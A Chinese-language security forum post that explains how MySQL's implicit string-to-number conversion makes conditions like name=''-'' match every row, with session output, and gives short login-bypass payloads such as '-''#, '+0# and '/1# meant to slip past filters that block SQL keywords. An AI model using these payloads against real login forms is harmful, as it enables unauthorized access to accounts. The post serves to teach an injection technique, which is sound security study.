找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1931|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
; X6 m; t/ z* G6 _5 o  P$ `有以下表结构:
1 n1 l! v8 `9 N" m* X
# b) d7 k: n& u5 Y, S& `- ?mysql> desc admin;
8 z" A! ]& `- k7 r+----------+--------------+------+-----+---------+----------------+
- G* t( S& t( P( D8 s5 ?0 _3 b| Field    | Type         | Null | Key | Default | Extra          |. m: l6 {6 m& Z2 n4 e
+----------+--------------+------+-----+---------+----------------+
5 N7 P: o) @$ ]( N' z; K| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |! V. ]3 C; R1 A- C. C, j0 m
| name     | char(32)     | NO   | UNI | NULL    |                |- l+ ?! ~% R5 o% w" X0 A( z
| password | char(32)     | NO   | UNI | NULL    |                |* h! D7 A/ Y2 K' e
+----------+--------------+------+-----+---------+----------------+
. P/ a2 O8 ?+ X$ I4 ]0 t6 ]# \( w3 rows in set (0.00 sec)* d/ o7 s' r3 L3 u4 ~; p( z( ~4 ?2 `" ?
执行select * from admin;,成功返回所有记录内容。) c+ w  x6 ?& Q; s$ [, q  G
  A7 Z3 Z9 K7 l+ r- H4 g
0 B5 {* `' X8 r7 `% a6 A  z
+----+--------+----------------------------------+) E' M; f; Y9 d1 _
| id | name   | password                         |! T% y' _' J2 e; s% T9 F6 k+ e
+----+--------+----------------------------------+
. P7 V" \* a8 e% x|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
* @8 @2 J- ~- z& C- _6 J0 {|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
, i0 _8 R; `8 T3 G|  4 | n00b   | ff80e8508d39047460921792273533a4 |0 L. X$ g+ b4 E: x
+----+--------+----------------------------------+7 K8 ]) B" ^8 O4 o  O
3 rows in set (0.00 sec)
( M+ N" S$ v2 W! q' H6 T( H执行select * from admin where name=”;,没有匹配到任何记录。
. B0 Y5 W# }7 ?) h) O1 H  o0 j( u! @& V( B
mysql> select * from admin where name = '';/ ?7 X: _- q6 c+ T
Empty set (0.00 sec)
/ d: P) I0 l% N+ p% Y2 r那么我们来执行select * from admin where name = ”-”;5 h7 P% q$ P& ~4 |. n3 h$ j
( [# y' X1 S( s( g& c3 n

2 o5 f3 B" ~! N# B8 _+----+--------+----------------------------------+$ @' ~& U# n7 Z6 X% z- Q
| id | name   | password                         |' h# U; z5 ?) Y% E! I, K- d
+----+--------+----------------------------------+
5 C6 [% O$ p. G|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
, s5 X6 s% K, J8 @|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- m" z# L9 o2 X( O|  4 | n00b   | ff80e8508d39047460921792273533a4 |
7 h* J$ `; R/ P2 t5 d8 U+----+--------+----------------------------------+
8 M. \4 j$ Y) l; ]& r3 rows in set, 3 warnings (0.00 sec)
, p5 ]& b' ?: z( P( T5 c# V' a可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
" S8 e! T  ?* H1 }$ b/ S6 {, H+ w, i* ~
mysql> show warnings;9 Q8 c! A& N5 s& }
+---------+------+------------------------------------------% o+ v5 c* ?# M3 |
| Level   | Code | Message& j, |+ h4 A; z2 Y4 K8 q6 ?' |- w
+---------+------+------------------------------------------7 q1 [7 O) Z' Z* V; A
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
# z  r/ @; A: K, [8 H8 K! Z| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
; d! c- f! Y4 X| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
# c: ^0 }) A! a4 r9 A8 V. r* _, w+---------+------+------------------------------------------
: {- J! Q+ v+ w% l- K9 t3 rows in set (0.00 sec)
) t0 M" j4 C* c  a1 ]- |提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
1 _$ Y  V5 c/ R# _: \
( Q+ `0 W4 [# y( ?* }6 bmysql> select ''-'';
) G7 i  L# i8 m# Q1 H' I6 p' g$ m' c; B6 K+-------+
* b; F* Q8 v6 A1 v. a| ''-'' |  ^; q; N5 |- r: i, E+ `
+-------+& |1 h, z* [4 Y- d& p1 ^' K- D4 c
|     0 |3 w6 j" K' l7 ]5 C+ {
+-------+
4 o/ b" w4 t7 Z% J* ^+ m' M1 row in set (0.00 sec)! K3 n) p; Y; ~# C8 J% V: l
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
* M3 O" l; V4 m6 z0 @% H' V. R$ O8 H) B- @
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
; ^0 G. V; T4 j+ }( \. l+-----------------------------------------------------+
( `  ?: z7 f# d/ v- t# ]6 _& p7 o  ]| CAST((select name from admin limit 1,1) as DECIMAL) |$ T' R% M* P) Q' w1 S$ i7 \( `! r
+-----------------------------------------------------+
6 s' M3 f5 z9 {2 w( m1 f: z|                                                   0 |
) V( h% x7 [# N9 l+-----------------------------------------------------+
7 E) B$ T: ?2 }' z1 row in set, 1 warning (0.00 sec)
/ D6 d3 W; f3 P- f因此where语句构成了相等的条件,where 0=”=”,记录被返回。
2 F8 l! z3 b* O  O( o9 _
+ q) }$ k8 [0 y1 F) [. gSQL注入场景: http://www.sqlzoo.net/hack/ 5 w8 M+ u' W3 `% a: ~0 O3 |! @
' a. H+ r" n7 w; C+ {
& l3 i/ r! O& X7 V* N7 P+ [8 o6 _

( q. a3 I1 H% l( h: D0 [, b7 G* h: K) t
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ; D- ?" z5 M- m8 n- Y( K

  L3 [1 j  ]8 C# H+ H! l那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 : A; d& u& h: F- L9 p

* S- w3 k7 _& c( J
9 }. F3 M8 q- u, {% s! a1 Y! l/ I" J: U- z  o0 f9 R

- M. A$ L" I7 I% ~% i/ u仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ! i4 ^7 ~; Z# s( y2 p' a

3 }4 d. a$ m$ g3 P( g   
" {9 _+ t/ [. ^8 [0 P, c& O4 l, b* Z2 w; H4 w4 h
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可$ `7 ^/ b: i3 c. w- E
, w! }+ J7 z: V4 \

( O" s. I% L1 N, i2 D; T3 _mysql> select ''/1;
- ^; M2 c7 @4 C! a6 a7 k$ w3 A3 x+------+. @8 W# K' C% `; O) X. [5 V# ]
| ''/1 |
/ d4 m4 p7 V, p" ?" s4 n/ p* e: {5 e+------+
* f: t8 D8 Z# l# n$ m, i, k! w) k' Y|    0 |
# K& m- a" l# X6 r  Z5 F5 U9 D+------+/ h7 X) v9 |  U
1 row in set (0.00 sec)
. H, O" H2 P( r类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
/ K9 R( f7 X3 A3 a+ F9 x( y, ]. T
! Y8 x" a7 n$ f. ]- s, \* G7 t( V6 B6 O利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。+ |6 M- {/ }$ L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表